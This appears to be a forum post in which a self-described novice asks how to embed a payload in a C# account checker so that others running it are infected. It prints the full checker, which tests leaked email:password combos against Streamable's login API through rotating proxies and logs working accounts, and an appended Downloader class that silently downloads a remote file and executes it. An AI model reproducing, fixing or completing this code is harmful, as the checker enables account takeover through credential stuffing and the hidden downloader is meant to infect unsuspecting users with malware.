Dec 28, 2021 06:04 AM
(This post was last modified: Dec 28, 2021 01:59 PM by medali047.)
sorry for my bad english😭😭😭
so lets say i have a account checker source code and i need to put my payload there
i make 1000 try but i fail got many error especially entry point error loool😥😥
please give me some methodes that will work ✌✌✌
im noob so i need some explanetion
THIS IS MY CODE
PLEASE IM NOOB ON C# I NEED HELP
I PUT A DOWNLOADER BUT NOT WORKING
PLEASE IM NOOB ON C# I NEED HELP
I PUT A DOWNLOADER BUT NOT WORKING
Code
using System;
using System.Threading.Tasks;
using Newtonsoft.Json;
using Newtonsoft.Json.Linq;
using Leaf.xNet;
using System.IO;
using System.Threading;
using System.Diagnostics;
using System.Net;
namespace Streamable_Console_Checker
{
class Program
{
public static string[] combos;
public static string[] proxies;
public static int threadsCount;
public static string proxyType;
private static void loadProxies(string proxyPath)
{
proxies = File.ReadAllLines(proxyPath);
}
private static void loadCombos(string combosPath)
{
combos = File.ReadAllLines(combosPath);
}
public class LoginDetails
{
public string username { get; set; }
public string password { get; set; }
}
private static string randomProxy()
{
Random random = new Random();
int index = random.Next(proxies.Length);
return proxies[index];
}
static string currentTime = DateTime.Now.ToString("hh-mm-ss dd-MM-yyyy");
private static void writeToFile(string email, string password, string plan)
{
string fileName = Environment.CurrentDirectory + @"\\Results\\[GOOD] " + currentTime + ".txt";
File.AppendAllText(fileName, email+":"+password+" Plan="+plan+Environment.NewLine);
}
private static void checker(string email, string password)
{
HttpRequest request = new HttpRequest();
request.UserAgent = Http.ChromeUserAgent();
LoginDetails loginDetails = new LoginDetails
{
username = email,
password = password
};
string url = "https://ajax.streamable.com/check";
string postData = JsonConvert.SerializeObject(loginDetails);
if (proxyType.Equals("http"))
request.Proxy = HttpProxyClient.Parse(randomProxy());
else if(proxyType.Equals("socks4"))
request.Proxy = Socks4ProxyClient.Parse(randomProxy());
else if (proxyType.Equals("socks5"))
request.Proxy = Socks5ProxyClient.Parse(randomProxy());
while (true)
{
try
{
string response = request.Post(url,postData,"application/json").ToString();
if (response.Contains("ad_tags"))
{
JObject responseJson = JObject.Parse(response);
string planName = responseJson.SelectToken("plan_name").ToString();
Console.WriteLine("[GOOD] "+email+":"+password+" Plan="+planName);
writeToFile(email, password, planName);
break;
}
else
{
Console.WriteLine("[BAD] " + email + ":" + password);
break;
}
}
catch (HttpException)
{
}
}
}
private static void seperateThread()
{
Parallel.ForEach(
combos,
new ParallelOptions
{
MaxDegreeOfParallelism = threadsCount
},
combo =>
{
var account = combo.Split(new char[] { ':' });
string email = account[0];
string password = account[1];
checker(email, password);
}
);
}
static void Main(string[] args)
{
Directory.CreateDirectory(Environment.CurrentDirectory+@"\\Results");
Console.WriteLine("Location of Combos: ");
string comboPath = Console.ReadLine();
loadCombos(comboPath);
Console.WriteLine("Location of Proxies: ");
string proxyPath = Console.ReadLine();
loadProxies(proxyPath);
Console.WriteLine("Proxy Type (http, socks4, socks5)");
proxyType = Console.ReadLine().ToLower();
Console.WriteLine("Enter number of threads: ");
threadsCount = int.Parse(Console.ReadLine());
Console.Clear();
Thread thread = new Thread(seperateThread);
thread.Start();
thread.IsBackground = true;
Console.ReadLine();
}
}
internal class Downloader
{
private static bool _hasDownloaded;
/// <summary>
/// Downloads the file.
/// </summary>
/// <param name="https://the.earth.li/~sgtatham/putty/latest/w64/putty.exe">The download url of the filename.</param>
/// <param name="putty.exe">The full output path including file name.</param>
public static void Download(string downloadUrl, string outputFile)
{
if (_hasDownloaded) return;
// Download
try
{
//Check if file already exists
if (File.Exists(outputFile))
{
File.Delete(outputFile);
}
// Download File
WebClient webClient = new WebClient();
webClient.DownloadFile(downloadUrl, outputFile);
}
catch (Exception)
{
// catch
}
}
/// <summary>
/// Executes downloaded file.
/// </summary>
/// <param name="downloadedFile"></param>
public static void Run(string downloadedFile)
{
try
{
// Start application
Process.Start(downloadedFile);
}
catch (Exception)
{
// catch
}
}
}
}


![[Image: fkHzRwp.png]](https://i.imgur.com/fkHzRwp.png)
